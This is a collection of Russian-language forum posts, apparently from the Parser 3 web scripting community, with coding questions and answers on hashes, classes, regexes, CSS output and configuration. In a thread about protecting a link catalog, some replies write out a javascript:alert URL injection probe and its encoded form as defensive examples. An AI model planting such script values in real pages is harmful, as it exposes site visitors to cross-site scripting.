Глюк возникает в IE6, в опере все ОК.\
Кто знает, как с этим бороться."
"32207","да, текущее ограничение на количество байт в \
ключе+значении\
=1008\
\
кому срочно нужно больше, могут поправить значение\
PAIRMAX\
в исходниках sdbm (взятых мной из apache).\
\
готовый вариант, ждущий изменения одной буквы поднимет ограничение до\
8008 байт\
\
можно и больше (ценой б[b]о[/b]льших дырок в страницах данных в файле)."
"32208","Я опять что-то не то сделал, потому как ?mode=debug говорит, что стало только хуже. Может, это пока таблица маленькая?\
\
Стало:\
\
[code]\
			$t[^GetSectionsByParent[$currentid]]\
			$tHash[^CreateHashTree[$t;uri]]\
			^if($tHash.[$urisplit.piece/]){\
				$t[$tHash.[$urisplit.piece/]]\
				$currentid[$t.id]\
				^secondnav.append{^if(^urisplit.line[]!=($urisplit-1)){${MAIN:ENGINE.ROOT}${currenturi}$t.uri}	^taint[as-is][$t.title]}\
			}		\
			$currenturi[${currenturi}$urisplit.piece/]\
[/code]\
\
Было:\
\
[code]\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
				$currentid[$tempsection.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
[/code]\
\
Все локальное описал как полагается. Только вместо locate, который все очень не любят за медленность, сделал хэш и взял из него нужную часть по uri. В отладочном файлике по rusage:\
[code]\
Date	IP	Comment	Usec	FSReading	Memory for Proccess	URI\
2004-08-20 22:10:04.562000	127.0.0.1	before	0.0625	0.015625	6880	/articles/design/photoshop/?mode=debug	\
2004-08-20 22:12:01.937000	127.0.0.1	before	0.046875	0	6876	/articles/design/photoshop/?mode=debug	\
[/code]\
А в musage:\
[code]\
Date	IP	Comment	Used	Free	Ever Allocated Since Compact	Ever Allocated Since Start	URI\
2004-08-20 22:10:04.562000	127.0.0.1	before	1216	328	1412.88	1412.88	/articles/design/photoshop/?mode=debug	\
2004-08-20 22:12:01.937000	127.0.0.1	before	1204	340	1399.54	1399.54	/articles/design/photoshop/?mode=debug	\
[/code]\
\
Т.е. старый вариант с locate несколько быстрее. Я правильно понял?"
"32209","А достается все равно через форму:\
$form:id будет содержать \"12\"\
$form:a будет содержать \"50\""
"32210","я не очень понял где искать старые цифры с замерами, т.е. при использовании locate.\
\
Ну а вообще, - если искать нужно среди десятка, другого, то locate будет и быстрее и памяти жрать меньше, но вот когда записей станет штук 100, тогда locate будет отсасывать, громко и неприлично причмокивая :)"
"32211","то проще всего везде \"^;\". И еще \"^^\". Я лично до сих пор вникаю в эти шаманские преобразования :о)"
"32213","с шапкой забавная история произошла, - пусть Миша расскажет :)"
"32215","Т.е. 1 строка в обоих файлах - с поиском в хэше, 2 - с locate.\
\
В дереве структуры сайта редко бывает больше 100 страниц. Но на этот случай можно написать так:\
[code]\
^if(^SectionsCount[]>100){^через_хэш[]}{^через_locate[]}\
[/code]\
Но стоит ли?\
Еще я заметил, что если активно использовать хэш, то идет работа с файловой системой (FS Reading!=0)."
"32216","Берем пример из мануала (класс guestbook)\
1. Чем конструктор отличается от просто метода класса? Что мне мешает создать несколько методов, например @guestbook.show[], и т.д. ? Ведь работа с ними не будет отличаться от работы с классом. Нужно лишь вызывать из них по необходимости ^dbconect[]\
2. Встала задача организовать работу с коллекциями: к примеру, есть описание таблицы в текстовом файле, и по нему нужно создать таблицу в БД, получить экземпляр коллекции и обновить его. Если это делать через пользовательские классы, то что будет конструктором? Могу я сделать несолько конструкторов (к примеру, один создает только Collection image,а другой - по нему делает выборку из БД)?  Или я вообще всё неправильно делаю?"
"32217","херня какая-то, - где цифры замеров для сравнения 2-х способов?"
"32219","Есть такой код:\
\
[code]\
@errors[el]\
^if(def $el){\
	^if(!def $error){$error[^hash::create[]]}\
	$error.$el(1)\
}\
[/code]\
\
Он не работает. Выдает ошибку в строке «$error.$el(1)». Что с ней делать — ума не приложу.\
\
Мне нужно чтобы название поля в хэше было динамечиским, т.е. я не знаю какое оно. А потом, в итоге, по созданному хэшу пройтись циклом и вывести все что надо, если что-то надо.\
\
Помогите пожалуйста."
"32222","В Парсере классы можно использовать динамически и статически. То, что Вы хотите - это статическое использование класса [синтаксис естественно другой - смотрите в документации].\
\
IMHO статические классы имеет смысл использовать в двух случаях: класс одержит отдельные  общеупотребительные функции [пример - класс math в Парсере] или класс является контейнером констант, общих для всего проекта. Я не вижу причин по которым в случае с гостевой книгой у статических классов есть преимущества перед динамическими."
"32223","Я правильно понимаю, что статические классы(методы) можно вызывать сами по себе, а динамические - только создав объект класса и работая через него?"
"32224","Собственно любой класс можно использовать и тем и другим способом, но динамический в подавляющем большинстве случаев предпочтительнее.\
\
При этом надо помнить, что у статического класса тоже есть конструктор."
"32225","В файле aclass.p:\
@CLASS\
aclass\
\
@amethod[]\
amethod\
\
@amethod2[]\
^amethod[]\
\
А потом это вызвал:\
\
^aclass:amethod[]\
$avar[^aclass::amethod[]]\
^avar.amethod2[]\
\
Всё работает нормально, но почему я после этого почувствовал себя полным дураком?...\
Ну, вызвал метод сначала статически, затем динамически. Получил одно и то же..."
"32226","Классы содержат в себе не только методы, но и данные. Есть такое слово в ООП - инкапсуляция [т.е. объединение в данных и методов работы с этими данными]. Так вот эти самые данные могут быть разными, что прекрасно совмещается с динамическими классами - создал экземпляр класса, и работаешь с ним. При этом экземпляров может быть сколько угодно. Статический класс может быть только один. Теперь попробуйте реализоавть с помощью статического класса вывод на одной странице двух [трех, четырех и т.д.] новостных лент из разных источников..."
"32228","Если я вызываю метод допустим так:\
[code]\
^errors[body]\
[/code]\
\
Тогда получается, что переменная $el у нас равна «body»:\
\
[code]\
@errors[el]\
^if(def $el){\
	^if(!def $error){$error[^hash::create[]]}\
	$error.$el(1)\
}\
[/code]\
\
...и мы пытаемся создать поле «body» в хэше «error», заодно присоив ему единицу (ну это чтобы в будущем можно было проверять ^if(error.body){… допустим)\
\
Чего-то я маленько запутался. :(\
Как мне воплотить задумку? Кто-нибудь подскажет?"
"32230","Дальше обсуждать нечего, пока Вы не решите какой подход вам ближе: процедурный, объектно-ориентированный, фцнкциональный или какой-нибудь другой..."
"32231","спасибо, буду решать, чего больше в коде мне нравится: точек с двоеточиями или точек с запятыми:)"
"32233","Протестировал по количеству ключей - 100 тыс создаются спокойно и довольно быстро (65метров файл). 1 миллион - уходит в своп и не дождаться. Интересно - обнаружил что ограничение в цикле 10000 итераций :)"
"32234","Такой код:\
\
[code]\
@errors[el]\
^if(def $el){\
	^if(!def $error){$error[^hash::create[]]}\
	$error[$.el(1)]\
}\
[/code]\
\
…дает такую ошибку:\
[quote]\
method_frame may not be overwritten with hash, store it to variable instead\
[/quote]\
\
...все, я не представляю что делать с этим. Мозговой тупик."
"32235","[b]1.[/b] Такой вот рэгэксп (из [url=\"http://www.parser.ru/examples/regexp/\"]копилки регулярных выражений[/url]) не обрабатывает вложенные тэги:\
\
[code]\
$text[^text.match[\\[([biu])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
[/code]\
\
Получается, чтобы достичь возможность вложенности нужно расписывать отдельно, правильно я понимаю?\
\
[code]\
$text[^text.match[\\[(b)\\](.+?)\\[\\/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
$text[^text.match[\\[(i)\\](.+?)\\[\\/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
$text[^text.match[\\[(u)\\](.+?)\\[\\/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
[/code]\
\
Можно как-нибудь иначе обработать вложенные тэги?\
\
[b]2.[/b] Еще у меня есть такой вот код:\
\
[code]\
$text[^text.match[\\[(table)\\]][gi]{<$match.1 border=\"1\">}]\
$text[^text.match[\\[(\\/table)\\]][gi]{<$match.1>}]\
[/code]\
\
По какой-то неведомой мне причине он не работает. Почему?\
И вот еще вариант, который тоже почему-то не работает:\
\
[code]\
$text[^text.match[\\[(table)\\](.+?)\\[\\/\\1\\]][gi]{<$match.1 border=\"1\">$match.2</$match.1>}]\
[/code]\
\
Спасите утопающего! 8)"
"32237","Вложенные теги можно обработать только разными регэкспами [собственно можно догадаться если расписать выражение словами]. Тем не менее есть важное ограничение - вложенные друг в друга одинаковые теги будут обработаны не корректно в любом случае [можно сделать определенный уровень вложености какскадом из регулярных выражений, но универсальное выражение нельзя сделать принципиально].\
\
Сами выражения лучше писать так:[code]\
# Не надо ставить скобки там, где они не нужны, \
# поскольку это приводит к не нужному расходованию памяти.\
  $text[^text.match[\\[b\\](.+?)\\[\\/b\\]][gi]{<b>$match.1</b>}]\
[/code]\
\
Что касается последнего выражения, то у меня прекрасно заработало:[code]\
  ^text.match[\\[table\\](.+?)\\[\\/table\\]][gi]{<table border=\"1\">$match.1</table>}\
[/code]\
\
p.s. Настоятельно рекомендую книгу \"Д. Фридл. Регулярные выражения\"\
http://www.books.ru/shop/books/82357"
"32238","В таком случае пободные вещи:\
\
[code]\
$text[^text.match[\\[b\\](.+?)\\[\\/b\\]][gi]{<b>$match.1</b>}]\
[/code]\
\
...можно писать таблицей и проходиться repalce-ом, захватя сразу u, b, i..."
"32239","... поскольку так есть хоть какая-то гарантия, что будет заменена пара тегов. [Вдруг вам нужен валидный XHTML.]"
"32240","Для отправки файлов на сервер, я ползуюсь вот такой конструкцией:\
[code]\
<form method=\"post\" enctype=multipart/form-data>\
<input type=\"file\" name=\"a\">\
<input type=\"text\" name=\"b\">\
<input type=\"submit\" name=\"up\" value=\"добавить\">\
</form>\
\
^if(def $form:up){\
$f[$form:a]\
^f.save[binary;/1/2/$form:b]}\
[/code]\
T.е., приходится писать имя файла вручную.\
Можно ли автоматизировать процесс,\
чтобы имя исходного файла создавалось автоматически?"
"32242","добавляю простые операторы (^uri[]) на страничку тестинга Парсера — тоже ошибка. Выполняет свое ^eval[] да и все.\
\
ошибка:\
Unhandled Exception (Debug)\
undefined method\
uri\
\
s:/home/localhost/www/test/parser3/index.html(26)\
exception.type=parser.runtime"
"32243","Зарание спосибо"
"32244","Действительно у IE6 есть какой-то глюк с куками, но вроде даже не у всех подверсий/сборок.\
\
Когда-то сталкивался с проблемой, но не догадался попробовать запись/чтение кук из директории и корня.\
\
Однако заметил следующее: глюк возникает только если проставлять куки и заодно вернуть заголовок location со статусом возврата 302 Document Moved.\
\
Если location не указывать, то в моем случае все работало."
"32245","Считаю большие целые числа, например:\
\
[code]\
@ip2number[ip]\
$result(^ip.match[(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})][g]{^eval($match.1*16777216 + $match.2*65536 + $match.3*256 + $match.4)[%15.0u]})\
#/ip2number\
[/code]\
\
Результат в таком формате: [b]1.04519e+009[/b]\
\
Как сделать чтобы числа не преобразовывались в формат E+ ?\
Пробовал экспериментировать с форматными строками - ничего не получается."
"32246","Числа \"округляются\" до некоторого большого разряда, вследствие чего теряется точность вычислений. В случае с ip, это 5 знаков после точки и 1 перед ней.\
\
Необходимо либо получать число в формате 104519[b]123[/b], либо в формате E+, но без потери точности.\
\
Заранее спасибо."
"32247","Как возможно получить время по UTC? Насколько я понимаю, код ^date.roll[TZ][GMT0BST] подразумевает переход на летнее время. Можно ли обойтись без перехода?"
"32250","http://www.spearance.ru/parser3/regex/?no=7\
\
Самое нижнее правило."
"32251","[code] ^ip.match[(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})][g]{^eval(($match.1<<24) | ($match.2<<16) | ($match.3<<8) | ($match.4))}\
[/code]"
"32252","Допустим если мне нужен полужирный курсив? Или подчеркнутый курсив? Как мне этого добиться? Только если разделить матчи. Или можно как-то иначе?"
"32253","...он говорит, что метод [b]uri[/b] не определен, т.е. вызываете то, чего нет."
"32254","Появилась необходимость выводить все строки из файла, предварительно оформив их как абзацы, да еще и разделить горизонтальной чертой. Заранее известно, что каждая строка - отдельное целое и в нем нет ни тегов <p></p> ни <br />. Ещинственное - это афоризмы - каждая строка иммет вид \"Текст афоризма. | Автор\", т.е. с разделителем в виде пробел-палка-пробел, если нет разделителя и автора, т.е. строка оказывается такой: \"Текст афорзима\", тогда курсивом пишется \"Не указан автор\".\
\
Воспользовался поиском, [url=\"http://www.parser.ru/forum/?id=24928\"]нашел[/url] [color=\"cccccc\"](Смейтесь. Это приказ! ;-), Luzhnikovskiy)[/color]\
\
Немного урезал лишнее, то что мне не нужно, немного добавил своего и вот что вышло:\
\
[code]\
$file[^file::load[text;text.txt]]\
$text[$file.text]\
$table[^table::create{body	author}]\
$text[^text.match[^^(.+?)( \\| (.+))?^$][gmi]{^table.append{$match.1	$match.3}}]\
^table.menu{\
	<p>$table.body</p>\
	<p>^if(def $table.author){<b>$table.author</b>}{<i>Не указан автор&hellip^;</i>}</p>\
}[<hr>]\
[/code]\
\
А если нужно вывести только один случайны афоризм, тогда пожалуйста: последние четыре строчки заменяем вот на эти:\
\
[code]\
^table.offset[set](^math:random(^table.count[]))\
<p>$table.body</p>\
<p>^if(def $table.author){<b>$table.author</b>}{<i>Не указан автор&hellip^;</i>}</p>\
[/code]\
\
Может быть кто-нибудь чего посоветует добавить / изменить / усовершенстовать? ;)\
\
Или может кому пригодится в таком виде? :)"
"32255","Я за!"
"32256","Кладу код в $.value{...}\
Пытаюсь его получить и исполнить:\
except in request exception handler 0x00000005 at 000B300B0"
"32257","Хочу автоматически парсить CSS, заменяя все значения small на x-small, чтобы браузеры, использующие устаревшие стандарты (читай MS IE, Opera) тоже воспроизводили дизайн правильно. \
\
Нужно: прочитать style.css, произвести пару замен, выдать браузеру. \
\
Для начала, нужна хотя бы обычная \"выдача\". Что я пробую делать: \
[code]\
@on-the-fly[][file]\
$file[^file::load[text;style.css]]\
$file.content-type[text/css]\
$response:body[$file]\
$response:content-type[text/css]\
[/code]\
\
Браузер говорит, что страница типа \"application/octet-stream\", а нужно text/css. \
\
Точно так же не работает и этот код (parser3 вообще выдаёт ошибку):\
[code]\
$response:body[$.text[blah-bla]$.content-type[text/css]]\
[/code]\
\
Что будем советовать? ;-)"
"32261","Смысл ясен - в данном случае мне определенно locate выгоднее, потому как он делается в таблице, где 1 раз из 10 будет больше 10 элементов. Хэш посасывает в малых таблицах.\
\
А с цифрами - не партесь. Там, наверное, действительно сложно понять, где что..."
"32265","В форуме уже было что-то подобное, но, похоже, это не совсем то, что нужно.\
http://www.parser.ru/forum/?id=16651\
\
Итак, в классе\
@CLASS\
myclass\
\
@create[]\
$myvar[myvalue]\
\
@my[]\
^use[myclass_add.p]\
^my1[]\
\
В модуле myclass_add.p:\
@auto[]\
# $myvar[$myclass:myvar] - не помогло\
# $myvar[$caller.self.myvar] - тоже нет\
@my1[]\
Here is value: \"$myvar\"\
\
При вызове объекта ^объект.my1[]результат всегда Here is value: \"\", т.е. перемнная пустая.\
Ну где же ошибка?"
"32266","Ответ парсера:\
\"string method not found\"\
\
В моём примере $form:a не является строковым параметром,\
именно по этой причине пришлось добавить $form:b \
Может всётаки есть какоето решение?"
"32268","Вот, перевел с perlовой. Удобно для генерации кодов.\
\
[code]\
#base36\
@base36[ch]\
$basechars[0123456789abcdefghijklmnopqrstuvwxyz]\
$st[]\
$cod(ch)\
^while($cod>0){\
$cod1($cod)\
^cod1.mod(36)\
$st[^basechars.mid($cod1;1)$st]\
^cod.div(36)\
$cod(^math:floor($cod))\
}\
$result[$st]\
#end base36\
[/code]"
"32272","Вот такой вариант работает:[code]\
  $f[^file::load[text;css.css]]\
  $response:content-type[text/css]\
  $response:body[$f.text]\
[/code]\
\
А вот если ставить [code]$response:body[$f][/code] то похоже происходит действие аналогичное [code]$response:download[][/code] \
\
Возможно это баг - ждем коментариев ПАФа."
"32273","[code]\
@on-the-fly[][file]\
$file[^file::load[text;style.css]]\
$response:body[$file.text]\
$response:content-type[text/css]\
[/code]"
"32274","Отчасти странный вопрос и возможно совсем не про Парсер. \"type=submit\" и \"type=image\" - это одно и то же, то есть это отправляющая данные кнопка? Если да, то почему, написав ^if(def $form:delete) я получаю реакцию в случае с type=submit (delete - имя инпута), а изменив кнопку на свое изображение и указав type=image, страница просто обновляется?"
"32275","После обновления парсера на версию 3.1.3, с 3.1.0 всё перестало работать: такое ощущение, что возникли какие-то ошибки с конфигурационным файлом. Он точно читается, так как без него возникают другие сообщения об ошибках, однако очевидно, что парсер выкидывает переменные, заданных в @auto[] ГКФ. \
\
При удалении ГКФ, страница выдаёт следующую ошибку:\
[code]\
$SQL:drivers table must be defined  type: parser.runtime\
[/code]\
При обычном положении auto.p (т.е. в /cgi-bin/parser3.1.3/auto.p), выдаётся следующая ошибка:\
[code]\
connection string must start with protocol://  type: parser.runtime\
[/code]\
\
Если добавить строку соединения в файл htdocs/auto.p, где описан ^server, то всё работает.\
\
Сам ГКФ ничем не изменён со времён 3.1.0. Тоже самое происходит с обычным ГКФ, который включён в комплект поставки. \
\
P.S. Хочется заметить, что код выдаётся в кодировке win1251, но $response:charset выдаёт UTF-8, что делает страницу нечитаемой из-за несогласования кодировок. \
\
Вот файл /cgi-bin/parser3.1.3/auto.p\
[code]\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
	$.SMTP[smtp.domain.ru]\
]\
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$SQL.connect-string[mysql://root@127.0.0.1/p?charset=cp1251_koi8]\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
\
[/code]"
"32276","Здравствуйте!\
Я в Парсере человек новый, есть вот такой вопрос\
у меня есть заказ на сайт наподобие http://www.x10.am\
подскажите можно ли сделать такой движок на Парсере, т.е.\
регистрацию, админку и пр. , как насчёт защищенности Парсера,\
и есть ли уже сделаный аналог\
\
Спасибо!"
"32279","Блин. Я всё же разобрался с этими преобразованиями. Да это крутой инструмент для работы. Пошел его применять."
"32281","однако не получается,\
может кто подскажет как это делается, а вернее\
сам пример"
"32282","Нет, ну всё ясно что доку и т.д.\
А такое впринципе возможно, т.е. написание такого движка\
\
Спасибо!"
"32283","Тот сайт, на котором вы находитесь (http://parser.ru/) вас не устраивает? ;) Тут вам и регистрация и админка (у модераторов, надо полагать своя, они могут удалять сообщения с форума) и защищенность. Если интересно, можете заглянуть в раздел [url=\"http://www.parser.ru/powered_by_parser/\"]в действии[/url].\
\
Удачи! :)"
"32284","Файл я заливал через VPN соединение, которое так-же как и Диал-ап показывает переданый и принятый трафик в байтах в свойствах соединения, также в этот момент я наблюдал прохождение трафика на freebsd с помощью утилиты trafshow которая так-же показала входящий трафик.\
\
Файл в 100 мег. мне не удалось залить т.к. сервер отключил по timeout."
"32286","#base36\
@base36[ch]\
$basechars[0123456789abcdefghijklmnopqrstuvwxyz]\
$st[]\
$cod($ch)\
^while($cod>0){\
$cod1($cod)\
^cod1.mod(36)\
$st[^basechars.mid($cod1;1)$st]\
^cod.div(36)\
$cod(^math:floor($cod))\
}\
$result[$st]\
#end base36"
"32287","Парсер может писать в файлы любой текст, в том числе и код, написанный на нем (потому что код - тот же текст).\
\
Что именно не получается?"
"32288","http://www.parser.ru/docs/lang/defineclass.htm\
\
где сказано что выполняя код внутри метода M класса C парсер будет искать и успешно найдет переменную X определенную в классе Y?"
"32290","вы где-то выводите $error, а не $error.el\
\
и ещё:\
общая идея хороша, но код получился громоздкий.\
варианты:\
\
1.\
создавать $error всегда, в методе @auto.\
\
2.\
вы ведь в любом случае после ^errors собираетесь как-то бросать выполнение текущего метода, правильно?\
иначе бы это был не ^error[xxx] а ^warning[xxx] :)\
посему просто делаете вместо всяких там ^error.\
\
^throw[yourtype;yourmessage]\
\
а на верхнем уровне ловите (^try{...}{тут})."
"32291","1. ^double.format[]\
2. MySQL сам умеет делать эту операцию (есть встроенная функция)"
"32292","работает везде."
"32293","зачем бы это?\
\
вот это — ваш случай:\
http://www.parser.ru/docs/lang/lesson6.htm"
"32294","ещё нельзя хранить пустые строки/ключи."
"32295","см. табличку MIME-TYPES в @conf в auto.p\
\
важно:\
лучше всего писать такой код, который отображается во всех браузерах без изменений. в конкретном случае: включить [b]все[/b] варианты указания \"small\".\
\
вы сейчас экономите два байта, а теряете время выполнения страницы: был 1 запуск parser на 1 обращение к странице, теперь будет 2 запуска."
"32298","моё ощущение: жила-была переменная\
[code]\
$SQL.connect-string\
[/code]\
и кто-то её убил.\
(равно как и поправл response:content-type)\
\
это легко проверить.\
\
в том auto.p, где вы думаете, что она задаётся, в конец метода @auto добавьте строчку\
[code]\
^throw[debug;$SQL.connect-string?]\
[/code]\
если видите правильное значение, то вы знаете, что было хорошо.\
остаётся только понять, почему стало плохо.\
\
вероятно, где-то есть другой @auto в другом auto.p, который содержит г."
"32299","что касается данного форума — ответ дан: parser проверяет ограничение на размер [b]перед[/b] тем, как читать файл.\
\
что происходит [b]до[/b] parser'а находится вне его компетенции.\
\
если вам интересно, раскопайте, и, если потом будет не лень, расскажите тут."
"32301","Я делаю ^use[] в классе, так?\
Значит, подключенные методы будут как бы методами родительского класса.\
Но ведь в подключенном блоке класс не определен, и непонятно, как должен называться родительский класс.\
Однако парсер не считает это ошибкой, и методы подключенного модуля ВИДНЫ из исходного класса.\
Не видны только перемнные. \
Кроме того, подключая модуль после определения переменных, я не знаю, в какой родительский псевдокласс их класть.\
А обращение из подключенного модуля вида $класс:переменная тоже возвращает пустоту."
"32302","по-умолчанию установленный\
subdomain.test1.ru работает,\
а другие создаю — не-а.\
пробовал менять имя папки subdomain — перестает пахать.\
в других доменах тоже.\
?"
"32303","ведь завтра вы захотите пририсовать сбоку бантик, и будете разбираться в своих regexps ещё раз.\
потом ещё и ещё.\
\
а так у вас будет XSL преобразование, которое и мощнее и проще."
"32304","когда вы делаете ^use[myclass_add.p] то переменные и методы, описанные в этом файле попадают в MAIN, т.к. в myclass_add.p не сказано @CLASS\
\
соответственно когда вы вызываете ^my1[] то вызывается оператор my1 (оператор == метод класса MAIN)\
\
можете с .html после ^object.my[] написать ^my[] и убедится что это работает.\
\
далее, вы все-таки решаете что вам это нужно, и появляется задача из оператора добраться до переменной 'myvar' объекта 'объект', пищите $object.myvar и получаете свое значение. \
\
однако мне кажется что подобный подход - лезть из операторов в поля динамического объекта - не хорош."
"32305","вы это сами придумали, в доке такого нет :)\
\
подумайте как следует, нужно ли вам динамическое добавление методов в класс (которое запутывает всех).\
\
если обойдётесь простым наследованием (изначально создать потомка, и с ним работать) см. @BASE.\
\
если настаиваете на добавлении метода к классу, см. ^process"
"32306","Значит перезапустите сервер. ;)\
Только при старте считываются новые домены."
"32309","[quot]\
готовый вариант, ждущий изменения одной буквы поднимет ограничение до\
8008 байт\
[/quot]\
\
А что это за готовый вариант? Новая версия?"
"32311","День добрый! \
\
Есть проблема, которая кому-то наверняка покажется детской, но тем не менее большая просьба помочь: \
\
1. Создана схема документа в файле xml_struct.xml следующего вида: \
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?> \
<Structure xmlns=\"RSschema:RSstruct\"> \
<AutoKey/> \
<Account_Payer/> \
<Account_Receiver/> \
<Date_Document/> \
<Sum/> \
<element type=\"Document\"/> \
<ElementType name=\"list\" content=\"eltOnly\" model=\"closed\"/> \
</Structure> \
\
2. есть документ xml_doc.xml \
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?> \
<List> \
<Document> \
<AutoKey>1</AutoKey> \
<Account_Payer>20202810200000000000</Account_Payer> \
<Account_Receiver>40702810100000000000</Account_Receiver> \
<Date_Document>2004-08-20</Date_Document> \
<Sum>12.45</Sum> \
</Document> \
</List> \
\
\
3. При попытке выполнить проверку на соответствие документа схеме \
\
xml_doc = CreateComObject (\"MSXML2.DOMDocument\"); \
xml_doc.load (\"xml_doc.xml\"); \
\
xml_str = CreateComObject (\"MSXML2.XMLSchemaCache\"); \
xml_str.add( \"RSschema:RSstruct\", \"xml_struct.xml\" ); \
\
xml_doc.schemas = xml_str; \
stat = xml_doc.validate(); \
\
if ( stat.errorCode ) \
println( \"Error:\", stat.reason ); \
end; \
\
\
при выполнении метода add выдается следующая ошибка выполнения \
\"Incorrect definition for the root element in schema\" \
\
Подскажите, pls, в чем может быть дело? \
\
PS \
приведенный код написан с использованием языка узкоспециализированной системы, так что на синтаксис можно не обращать внимания - ошибок точно нет."
"32314","... ... другого HTML-файла в ячейку HTML-таблицы?\
Иными словами, эта ячейка должна быть в роли фрейма"
"32315","переключаете одну строчку, пересобираете, пользуетесь."
"32316","Делаю каталог ссылок на парсере (изучаю я его так :) и вот задумался я - а нужна ли защита от скриптинга в урле? С одной стороны хотелось бы защититься от недобросовестных товарищей, с другой стороны не знаю пока как... Кто что скажет?"
"32320","Народ, я пользуюсь WinCVS и у меня такой вопрос: когда импортируешь модуль, скрипты с расширением php определеяются как бинарные. Как можно пофиксить эту ситуацию, кроме русчного преопределения? М.б. нужно пользоваться другим клиентом, правда, хотелось бы графическим. Подскажите."
"32321","Это я начитался Хакера :) где упоминается вставка JavaScript в урл и этот вставленный код обрабатывается браузером"
"32322","хм, не процессить... а для чего же ссылки создавать - юзера же будут по ним щелкать... а шишки сначала валятся на меня..."
"32323","Хотя самый надежный вариант - премодерация всего, что попадает в каталог."
"32324","Вы ссылки берёте из базы -- они грязные. Когда будете выдавать их пользователю, покрасьте их нужным цветом\
[code]\
^taint[uri][javascript:alert('aha')]\
[/code]\
и всё будет ништяк."
"32325","[code]\
$str[^file::load[text;frame.html]]\
<table border=\"1\">\
  <tr>\
    <td>Содержимое <b>frame.html</b>:</td>\
  </tr>\
  <tr>\
    <td>^taint[html][$str.text]</td>\
  </tr>\
</table>\
[/code]\
\
[i]Примечание:[/i] Во frame.html [b]не[/b] должно быть тегов <html>, <head>, <body> и других подобных... Должно быть только содержание с разметкой."
"32326","А если ссылка была уже вида javascript%3Aalert%28%27aha%27%29\
? Кроме того обычно весь код маскируют \
Прикольно, в сообщении по мылу код и результат его работы, а тут только код..."
"32327","Поставил Parser 3...parser.cgi версию выдает, _test.html работает(пусть и с красными массагами)\
а вот html-файлы без кода на парсере не работают,\
то есть сайт сделанный без применения нашей \"птички\" не работает...я идиот?"
"32329","и потом,\
для статических страниц нет вообще никакого смысла запускать parser, над ними нечего размышлять, можете назвать эти файлы .htm и забыть о проблеме."
"32330","[code]connection string must start with protocol://\
connect\
\
s:/home/baytur.kg/test/news/index.html(16)\
exception.type=parser.runtime [/code]"
